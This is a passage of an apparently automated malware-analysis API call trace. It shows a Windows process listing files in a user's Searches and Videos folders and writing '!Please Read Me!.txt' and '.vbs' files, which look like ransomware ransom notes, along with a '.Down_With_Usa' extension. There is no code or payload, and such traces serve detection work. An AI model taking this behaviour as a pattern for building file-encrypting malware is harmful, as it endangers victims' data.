[0122.282] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0122.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0122.287] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x49
[0122.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0122.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0122.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x49
[0122.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0122.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0122.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26
[0122.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpFilePart=0x0) returned 0x27
[0122.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.298] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.298] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.298] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
[0122.298] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
[0122.298] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.299] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.299] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26
[0122.299] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpFilePart=0x0) returned 0x27
[0122.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.299] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.299] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.300] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
[0122.300] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
[0122.300] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0
[0122.300] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24
[0122.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25
[0122.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09b8570, ftCreationTime.dwHighDateTime=0x1d5d8d7, ftLastAccessTime.dwLowDateTime=0xe20c6f10, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0xe20c6f10, ftLastWriteTime.dwHighDateTime=0x1d5df49, nFileSizeHigh=0x0, nFileSizeLow=0xf570, dwReserved0=0x0, dwReserved1=0x0, cFileName="6 wkqdkPr1VCK1wq.mp4", cAlternateFileName="6WKQDK~1.MP4")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43728c0, ftCreationTime.dwHighDateTime=0x1d5e4f2, ftLastAccessTime.dwLowDateTime=0x82a57f80, ftLastAccessTime.dwHighDateTime=0x1d5e61a, ftLastWriteTime.dwLowDateTime=0x82a57f80, ftLastWriteTime.dwHighDateTime=0x1d5e61a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DMx1_e71M.flv", cAlternateFileName="8DMX1_~1.FLV")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe691ed30, ftCreationTime.dwHighDateTime=0x1d5d864, ftLastAccessTime.dwLowDateTime=0x95507ac0, ftLastAccessTime.dwHighDateTime=0x1d5e77f, ftLastWriteTime.dwLowDateTime=0x95507ac0, ftLastWriteTime.dwHighDateTime=0x1d5e77f, nFileSizeHigh=0x0, nFileSizeLow=0xabd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="95BBcNxQtIfmFlYVv1-F.avi", cAlternateFileName="95BBCN~1.AVI")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597f43c0, ftCreationTime.dwHighDateTime=0x1d5de45, ftLastAccessTime.dwLowDateTime=0xcce85150, ftLastAccessTime.dwHighDateTime=0x1d5d961, ftLastWriteTime.dwLowDateTime=0xcce85150, ftLastWriteTime.dwHighDateTime=0x1d5d961, nFileSizeHigh=0x0, nFileSizeLow=0xff98, dwReserved0=0x0, dwReserved1=0x0, cFileName="FyTzRTAI.mp4", cAlternateFileName="")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7164af0, ftCreationTime.dwHighDateTime=0x1d5e3a6, ftLastAccessTime.dwLowDateTime=0x52da6040, ftLastAccessTime.dwHighDateTime=0x1d5e336, ftLastWriteTime.dwLowDateTime=0x52da6040, ftLastWriteTime.dwHighDateTime=0x1d5e336, nFileSizeHigh=0x0, nFileSizeLow=0x9397, dwReserved0=0x0, dwReserved1=0x0, cFileName="lBjIMkls.avi", cAlternateFileName="")) returned 1
[0122.301] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5ff7f10, ftCreationTime.dwHighDateTime=0x1d5e2ef, ftLastAccessTime.dwLowDateTime=0xecc74d50, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0xecc74d50, ftLastWriteTime.dwHighDateTime=0x1d5e2da, nFileSizeHigh=0x0, nFileSizeLow=0x2d5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="lPeoM.mkv", cAlternateFileName="")) returned 1
[0122.302] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f961ee0, ftCreationTime.dwHighDateTime=0x1d5e7fd, ftLastAccessTime.dwLowDateTime=0x9ce971c0, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x9ce971c0, ftLastWriteTime.dwHighDateTime=0x1d5e47c, nFileSizeHigh=0x0, nFileSizeLow=0x99d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="oxZkW.avi", cAlternateFileName="")) returned 1
[0122.302] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0xa8ceba40, ftLastAccessTime.dwHighDateTime=0x1d5e620, ftLastWriteTime.dwLowDateTime=0xa8ceba40, ftLastWriteTime.dwHighDateTime=0x1d5e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEj-aNY_N6U3seP-6wP-", cAlternateFileName="TEJ-AN~1")) returned 1
[0122.302] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a8d490, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0xa5425c20, ftLastAccessTime.dwHighDateTime=0x1d5dd41, ftLastWriteTime.dwLowDateTime=0xa5425c20, ftLastWriteTime.dwHighDateTime=0x1d5dd41, nFileSizeHigh=0x0, nFileSizeLow=0x3028, dwReserved0=0x0, dwReserved1=0x0, cFileName="x0by6BnXSl7t-oMscM.flv", cAlternateFileName="X0BY6B~1.FLV")) returned 1
[0122.302] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5f6ea0, ftCreationTime.dwHighDateTime=0x1d5e6d2, ftLastAccessTime.dwLowDateTime=0x57d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e10c, ftLastWriteTime.dwLowDateTime=0x57d8c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e10c, nFileSizeHigh=0x0, nFileSizeLow=0x149f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcDVt3HTJS.flv", cAlternateFileName="XCDVT3~1.FLV")) returned 1
[0122.302] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0xac5472c0, ftLastWriteTime.dwHighDateTime=0x1d5de16, nFileSizeHigh=0x0, nFileSizeLow=0x1205d, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVaV Yi4VMDVjY2O.mp4", cAlternateFileName="XVAVYI~1.MP4")) returned 1
[0122.302] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.302] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24
[0122.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25
[0122.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24636cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09b8570, ftCreationTime.dwHighDateTime=0x1d5d8d7, ftLastAccessTime.dwLowDateTime=0xe20c6f10, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0xe20c6f10, ftLastWriteTime.dwHighDateTime=0x1d5df49, nFileSizeHigh=0x0, nFileSizeLow=0xf570, dwReserved0=0x0, dwReserved1=0x0, cFileName="6 wkqdkPr1VCK1wq.mp4", cAlternateFileName="6WKQDK~1.MP4")) returned 1
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43728c0, ftCreationTime.dwHighDateTime=0x1d5e4f2, ftLastAccessTime.dwLowDateTime=0x82a57f80, ftLastAccessTime.dwHighDateTime=0x1d5e61a, ftLastWriteTime.dwLowDateTime=0x82a57f80, ftLastWriteTime.dwHighDateTime=0x1d5e61a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DMx1_e71M.flv", cAlternateFileName="8DMX1_~1.FLV")) returned 1
